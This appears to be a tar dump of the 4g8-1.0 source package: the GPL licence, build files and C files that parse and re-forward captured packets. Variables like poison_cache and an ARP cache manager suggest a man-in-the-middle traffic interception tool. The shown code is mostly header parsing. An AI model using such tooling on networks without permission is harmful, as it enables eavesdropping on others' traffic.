$dstdir/$dstfile && $doit $mvcmd $dsttmp $dstdir/$dstfile fi && exit 0 4g8-1.0/LICENSE0100644000000000000000000003545210005325626011470 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. 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These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. 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If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS 4g8-1.0/Makefile.am0100644000000000000000000000176610005325626012520 0ustar rootroot# # author: Darren Bounds # copyright: Copyright (C) 2002 by Darren Bounds # license: This software is under GPL version 2 of license # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # forgate official page at http://forgate.sourceforge.net # include $(top_srcdir)/Makefile.am.common SUBDIRS = src EXTRA_DIST = Makefile.am.common 4g8-1.0/Makefile.am.common0100644000000000000000000000010110005325626013765 0ustar rootrootAUTOMAKE_OPTIONS = foreign no-dependencies DISTCLEANFILES = *~ 4g8-1.0/Makefile.in0100644000000000000000000003377610037121007012527 0ustar rootroot# Makefile.in generated by automake 1.6.3 from Makefile.am. # @configure_input@ # Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002 # Free Software Foundation, Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ # # author: Darren Bounds # copyright: Copyright (C) 2002 by Darren Bounds # license: This software is under GPL version 2 of license # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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You may want to install GNU tar or Free paxutils, or check the command line arguments." exit 1 ;; *) echo 1>&2 "\ WARNING: \`$1' is needed, and you do not seem to have it handy on your system. You might have modified some files without having the proper tools for further handling them. Check the \`README' file, it often tells you about the needed prerequirements for installing this package. You may also peek at any GNU archive site, in case some other package would contain this missing \`$1' program." exit 1 ;; esac exit 0 4g8-1.0/mkinstalldirs0100755000000000000000000000341110005325626013257 0ustar rootroot#! /bin/sh # mkinstalldirs --- make directory hierarchy # Author: Noah Friedman # Created: 1993-05-16 # Public domain errstatus=0 dirmode="" usage="\ Usage: mkinstalldirs [-h] [--help] [-m mode] dir ..." # process command line arguments while test $# -gt 0 ; do case "${1}" in -h | --help | --h* ) # -h for help echo "${usage}" 1>&2; exit 0 ;; -m ) # -m PERM arg shift test $# -eq 0 && { echo "${usage}" 1>&2; exit 1; } dirmode="${1}" shift ;; -- ) shift; break ;; # stop option processing -* ) echo "${usage}" 1>&2; exit 1 ;; # unknown option * ) break ;; # first non-opt arg esac done for file do if test -d "$file"; then shift else break fi done case $# in 0) exit 0 ;; esac case $dirmode in '') if mkdir -p -- . 2>/dev/null; then echo "mkdir -p -- $*" exec mkdir -p -- "$@" fi ;; *) if mkdir -m "$dirmode" -p -- . 2>/dev/null; then echo "mkdir -m $dirmode -p -- $*" exec mkdir -m "$dirmode" -p -- "$@" fi ;; esac for file do set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` shift pathcomp= for d do pathcomp="$pathcomp$d" case "$pathcomp" in -* ) pathcomp=./$pathcomp ;; esac if test ! -d "$pathcomp"; then echo "mkdir $pathcomp" mkdir "$pathcomp" || lasterr=$? if test ! -d "$pathcomp"; then errstatus=$lasterr else if test ! -z "$dirmode"; then echo "chmod $dirmode $pathcomp" lasterr="" chmod "$dirmode" "$pathcomp" || lasterr=$? if test ! -z "$lasterr"; then errstatus=$lasterr fi fi fi fi pathcomp="$pathcomp/" done done exit $errstatus # Local Variables: # mode: shell-script # sh-indentation: 3 # End: # mkinstalldirs ends here 4g8-1.0/src/0040755000000000007640000000000010037121320011726 5ustar rootdbounds4g8-1.0/src/error.c0100644000000000000000000000231010037120765012534 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "error.h" void fatal_error(u_int8_t *err,...) { va_list va; #ifdef DEBUG fprintf(stdout, "DEBUG: fatal_error()\n"); #endif va_start(va, err); vsnprintf(error_buf, ERRBUF_MAXLEN, err, va); fprintf(stderr, "\nError: %s\n", error_buf); exit(FAILURE); return; } 4g8-1.0/src/error.h0100644000000000000000000000221610037120765012546 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __ERROR_H #define __ERROR_H #include "globals.h" #define ERRBUF_MAXLEN 512 #define SUCCESS 1 #define FAILURE -1 char error_buf[ERRBUF_MAXLEN]; void fatal_error(u_int8_t *,...); #endif /* __ERROR_H */ 4g8-1.0/src/ethernet_hdr.c0100644000000000000000000000414510037120765014066 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "ethernet_hdr.h" void ethernet_hdr(struct libnet_ethernet_hdr *ehdr) { u_int8_t mac1_array[6]; u_int8_t mac2_array[6]; #ifdef DEBUG fprintf(stdout, "DEBUG: ethernet_hdr()\n"); #endif fprintf(stdout, "Eth header: Src Address: %0X:%0X:%0X:%0X:%0X:%0X Dst Address: %0X:%0X:%0X:%0X:%0X:%0X", ehdr->ether_shost[0], ehdr->ether_shost[1], ehdr->ether_shost[2], ehdr->ether_shost[3], ehdr->ether_shost[4], ehdr->ether_shost[5], ehdr->ether_dhost[0], ehdr->ether_dhost[1], ehdr->ether_dhost[2], ehdr->ether_dhost[3], ehdr->ether_dhost[4], ehdr->ether_dhost[5]); fprintf(stdout, "\n"); format_ethernet_addr(host_mac, mac1_array); format_ethernet_addr(gw_mac, mac2_array); if(mac1_array[3] == ehdr->ether_shost[3] && mac1_array[4] == ehdr->ether_shost[4] && mac1_array[5] == ehdr->ether_shost[5]) { outbound = 0; } else outbound = 1; if(libnet_autobuild_ethernet( (outbound == 1) ? mac1_array : mac2_array, ETHERTYPE_IP, pkt_d) == -1) { fatal_error("Unable to build ethernet header"); } return; } 4g8-1.0/src/ethernet_hdr.h0100644000000000000000000000206410037120765014071 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __ETHERNET_HDR_H #define __ETHERNET_HDR_H #include "globals.h" void ethernet_hdr(struct libnet_ethernet_hdr *); #endif /* __ETHERNET_HDR_H */ 4g8-1.0/src/exit.c0100644000000000000000000000236610037120765012367 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "exit.h" void clean_exit(int sig) { #ifdef DEBUG fprintf(stdout, "DEBUG: clean_exit(%d)\n", sig); #endif fprintf(stdout, "\n\n"); arp_cache_mgr(0, pkt_d); capture_stats(); pcap_close(pkt); fprintf(stdout, "\n"); #ifdef DEBUG fprintf(stdout, "DEBUG: Good-Bye\n"); #endif exit(SUCCESS); return; } 4g8-1.0/src/exit.h0100644000000000000000000000212110037120765012361 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __EXIT_H #define __EXIT_H #include "globals.h" #include "utils.h" #include "arp_cache.h" #include "stats.h" #include "error.h" void clean_exit(int); #endif /* __EXIT_H */ 4g8-1.0/src/globals.h0100644000000000000000000001400610037120765013040 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __GLOBALS_H #define __GLOBALS_H #ifndef __HAVE_CONFIG_H #define __HAVE_CONFIG_H #include "../config.h" #endif #include #include #include #include #include #include #include #include #include #include #include "utils.h" #include "usage.h" #include "error.h" #include "exit.h" #include "version.h" #define IPV4_DEFAULT "0.0.0.0" #define IPV4_BROADCAST "255.255.255.255" #define MASK_DEFAULT "255.255.255.0" #define ETH_DEFAULT "0:0:0:0:0:0" #define ETH_BROADCAST "ff:ff:ff:ff:ff:ff" #define ARP_H 0x1c /* ARP header: 28 bytes */ #define DNS_H 0xc /* DNS header base: 12 bytes */ #define ETH_H 0xe /* Etherner header: 14 bytes */ #define ICMPV4_H 0x4 /* ICMP header base: 4 bytes */ #define ICMPV6_H 0x08 /* ICMP6 header base: 8 bytes */ #define ICMPV4_ECHO_H 0x8 /* ICMP_ECHO header: 8 bytes */ #define ICMPV4_MASK_H 0xc /* ICMP_MASK header: 12 bytes */ #define ICMPV4_UNREACH_H 0x8 /* ICMP_UNREACH header: 8 bytes */ #define ICMPV4_TIMXCEED_H 0x8 /* ICMP_TIMXCEED header: 8 bytes */ #define ICMPV4_REDIRECT_H 0x8 /* ICMP_REDIRECT header: 8 bytes */ #define ICMPV4_TSTAMP_H 0x14 /* ICMP_TIMESTAMP headr:20 bytes */ #define IPV4_H 0x14 /* IP header: 20 bytes */ #define IPV6_H 0x28 /* IPv6 header: 40 bytes */ #define TCP_H 0x14 /* TCP header: 20 bytes */ #define UDP_H 0x8 /* UDP header: 8 bytes */ #define ICMP_ECHOREPLY 0 /* echo reply */ #define ICMP_UNREACH 3 /* dest unreachable, codes: */ #define ICMP_SOURCEQUENCH 4 /* packet lost, slow down */ #define ICMP_ECHO 8 /* echo request */ #define ICMP_ROUTERADVERT 9 /* router advertisement */ #define ICMP_ROUTERSOLICIT 10 /* router solicitation */ #define ICMP_TIMXCEED 11 /* time exceeded, code: */ #define ICMP_PARAMPROB 12 /* ip header bad */ #define ICMP_TSTAMP 13 /* timestamp request */ #define ICMP_TSTAMPREPLY 14 /* timestamp reply */ #define ICMP_IREQ 15 /* information request */ #define ICMP_IREQREPLY 16 /* information reply */ #define ICMP_MASKREQ 17 /* address mask request */ #define ICMP_MASKREPLY 18 /* address mask reply */ #define ICMP_TRACEROUTE 30 /* some misc traceroute type */ /* UNREACH codes */ #define ICMP_UNREACH_NET 0 /* bad net */ #define ICMP_UNREACH_HOST 1 /* bad host */ #define ICMP_UNREACH_PROTOCOL 2 /* bad protocol */ #define ICMP_UNREACH_PORT 3 /* bad port */ #define ICMP_UNREACH_NEEDFRAG 4 /* IP_DF caused drop */ #define ICMP_UNREACH_SRCFAIL 5 /* src route failed */ #define ICMP_UNREACH_NET_UNKNOWN 6 /* unknown net */ #define ICMP_UNREACH_HOST_UNKNOWN 7 /* unknown host */ #define ICMP_UNREACH_ISOLATED 8 /* src host isolated */ #define ICMP_UNREACH_NET_PROHIB 9 /* net denied */ #define ICMP_UNREACH_HOST_PROHIB 10 /* host denied */ #define ICMP_UNREACH_TOSNET 11 /* bad tos for net */ #define ICMP_UNREACH_TOSHOST 12 /* bad tos for host */ #define ICMP_UNREACH_FILTER_PROHIB 13 /* admin prohib */ #define ICMP_UNREACH_HOST_PRECEDENCE 14 /* host prec vio. */ #define ICMP_UNREACH_PRECEDENCE_CUTOFF 15 /* prec cutoff */ /* REDIRECT codes */ #define ICMP_REDIRECT_NET 0 /* for network */ #define ICMP_REDIRECT_HOST 1 /* for host */ #define ICMP_REDIRECT_TOSNET 2 /* for tos and net */ #define ICMP_REDIRECT_TOSHOST 3 /* for tos and host */ /* TIMEXCEED codes */ #define ICMP_TIMXCEED_INTRANS 0 /* ttl==0 in transit */ #define ICMP_TIMXCEED_REASS 1 /* ttl==0 in reass */ /* PARAMPROB code */ #define ICMP_PARAMPROB_OPTABSENT 1 /* req. opt. absent */ #define ETHERTYPE_IP 0x0800 /* internet protocol */ #define ETHERTYPE_ARP 0x0806 /* addr. resolution protocol */ #define ETHERTYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ #define OPT_MAXLEN 32 #define P_UINT8 0xFF #define P_INT16 0x7FFF #define P_UINT16 0xFFFF #define P_INT32 0x7FFFFFFF #define P_UINT32 0xFFFFFFFF #define P_INT64 0x7FFFFFFFFFFFFFFF #define P_UINT64 0xFFFFFFFFFFFFFFFF char w_file[OPT_MAXLEN]; pcap_t *pkt; libnet_t *pkt_d; u_int8_t *device; u_int8_t display; u_int8_t dump_pkt; u_int16_t payload_len; u_int16_t hdr_len; u_int16_t ip_hdrlen; u_int8_t *gw_ip; u_int8_t *gw_mac; u_int8_t *host_ip; u_int8_t *host_mac; u_int8_t outbound; u_int8_t poison_cache; #endif /* __GLOBALS_H */ 4g8-1.0/src/icmpv4_hdr.c0100644000000000000000000002040210037120765013444 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "icmpv4_hdr.h" void icmpv4_hdr(u_int8_t *packet, u_int16_t diff) { u_int8_t *s_addr, *d_addr; u_int8_t *icmp_t, *icmp_c; struct libnet_icmpv4_hdr *icmphdr; #ifdef DEBUG fprintf(stdout, "DEBUG: icmpv4_hdr()\n"); #endif #ifndef icmp_iphdr #define icmp_iphdr icmphdr->dun.ip.idi_ip #endif icmphdr = (struct libnet_icmpv4_hdr *)(packet + IPV4_H + hdr_len); s_addr = (u_int8_t *)malloc(sizeof(s_addr)); d_addr = (u_int8_t *)malloc(sizeof(d_addr)); icmp_t = retrieve_icmp_type(icmphdr->icmp_type); icmp_c = retrieve_icmp_code(icmphdr->icmp_type, icmphdr->icmp_code); fprintf(stdout, "ICMP header: Type: %s(%d) ", icmp_t, icmphdr->icmp_type); switch(icmphdr->icmp_type) { case ICMP_REDIRECT: fprintf(stdout, "Code: %s(%d) Gateway: %s ", icmp_c, icmphdr->icmp_code, libnet_addr2name4(ntohl(icmphdr->hun.gateway), 0)); s_addr = libnet_addr2name4(icmp_iphdr.ip_src.s_addr, 0); d_addr = libnet_addr2name4(icmp_iphdr.ip_dst.s_addr, 0); fprintf(stdout, "\n"); fprintf(stdout, "\t Original IP header:\n"); fprintf(stdout, "\t Src Address: %s Dst Address: %s\n", s_addr, d_addr); fprintf(stdout, "\t TTL: %d ID: %d TOS: 0x%X Len: %d ", icmp_iphdr.ip_ttl, ntohs(icmp_iphdr.ip_id), icmp_iphdr.ip_tos, ntohs(icmp_iphdr.ip_len)); if(ntohs(icmp_iphdr.ip_off) & IP_DF) fprintf(stdout, "(DF)"); break; case ICMP_UNREACH: fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); if(icmphdr->icmp_code == ICMP_UNREACH_NEEDFRAG) fprintf(stdout, "MTU: %d Pad: %d ", ntohs(icmphdr->hun.frag.mtu), ntohs(icmphdr->hun.frag.pad)); s_addr = libnet_addr2name4(icmp_iphdr.ip_src.s_addr, 0); d_addr = libnet_addr2name4(icmp_iphdr.ip_dst.s_addr, 0); fprintf(stdout, "\n"); fprintf(stdout, "\t Original IP header:\n"); fprintf(stdout, "\t Src Address: %s Dst Address: %s\n", s_addr, d_addr); fprintf(stdout, "\t TTL: %d ID: %d TOS: 0x%X Len: %d ", icmp_iphdr.ip_ttl, ntohs(icmp_iphdr.ip_id), icmp_iphdr.ip_tos, ntohs(icmp_iphdr.ip_len)); if(ntohs(icmp_iphdr.ip_off) & IP_DF) fprintf(stdout, "(DF)"); if(libnet_build_ipv4( ntohs(icmp_iphdr.ip_len), icmp_iphdr.ip_tos, ntohs(icmp_iphdr.ip_id), icmp_iphdr.ip_off, icmp_iphdr.ip_ttl, icmp_iphdr.ip_p, icmp_iphdr.ip_sum, icmp_iphdr.ip_src.s_addr, icmp_iphdr.ip_dst.s_addr, (payload_len == 0) ? NULL : packet + 10, payload_len, pkt_d, 0) == -1) { fatal_error("Unable to build original IP header: %s", libnet_geterror(pkt_d)); } if(libnet_build_icmpv4_unreach( icmphdr->icmp_type, icmphdr->icmp_code, icmphdr->icmp_sum, NULL, 0, pkt_d, 0) == -1) { fatal_error("Unable to build ICMPv4 unreach header: %s", libnet_geterror(pkt_d)); } break; case ICMP_TIMXCEED: case ICMP_PARAMPROB: fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); s_addr = libnet_addr2name4(icmp_iphdr.ip_src.s_addr, 0); d_addr = libnet_addr2name4(icmp_iphdr.ip_dst.s_addr, 0); fprintf(stdout, "\n"); fprintf(stdout, "\t Original IP header:\n"); fprintf(stdout, "\t Src Address: %s Dst Address: %s\n", s_addr, d_addr); fprintf(stdout, "\t TTL: %d ID: %d TOS: 0x%X Len: %d ", icmp_iphdr.ip_ttl, ntohs(icmp_iphdr.ip_id), icmp_iphdr.ip_tos, ntohs(icmp_iphdr.ip_len)); if(ntohs(icmp_iphdr.ip_off) & IP_DF) fprintf(stdout, "(DF)"); break; case ICMP_TSTAMPREPLY: if(icmphdr->icmp_code > 0) fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); fprintf(stdout, "ID: %d Seqn: %d\n", icmphdr->icmp_id, icmphdr->icmp_seq); fprintf(stdout, "\t Original: %lu Received: %lu Transmit: %lu", (u_long)ntohl(icmphdr->icmp_otime), (u_long)ntohl(icmphdr->icmp_rtime), (u_long)ntohl(icmphdr->icmp_ttime)); break; case ICMP_MASKREPLY: if(icmphdr->icmp_code > 0) fprintf(stdout, "Code: %s(%d) ", icmp_c, icmphdr->icmp_code); fprintf(stdout, "ID: %d Seqn: %d\n", icmphdr->icmp_id, icmphdr->icmp_seq); fprintf(stdout, "\t Mask: %s ", 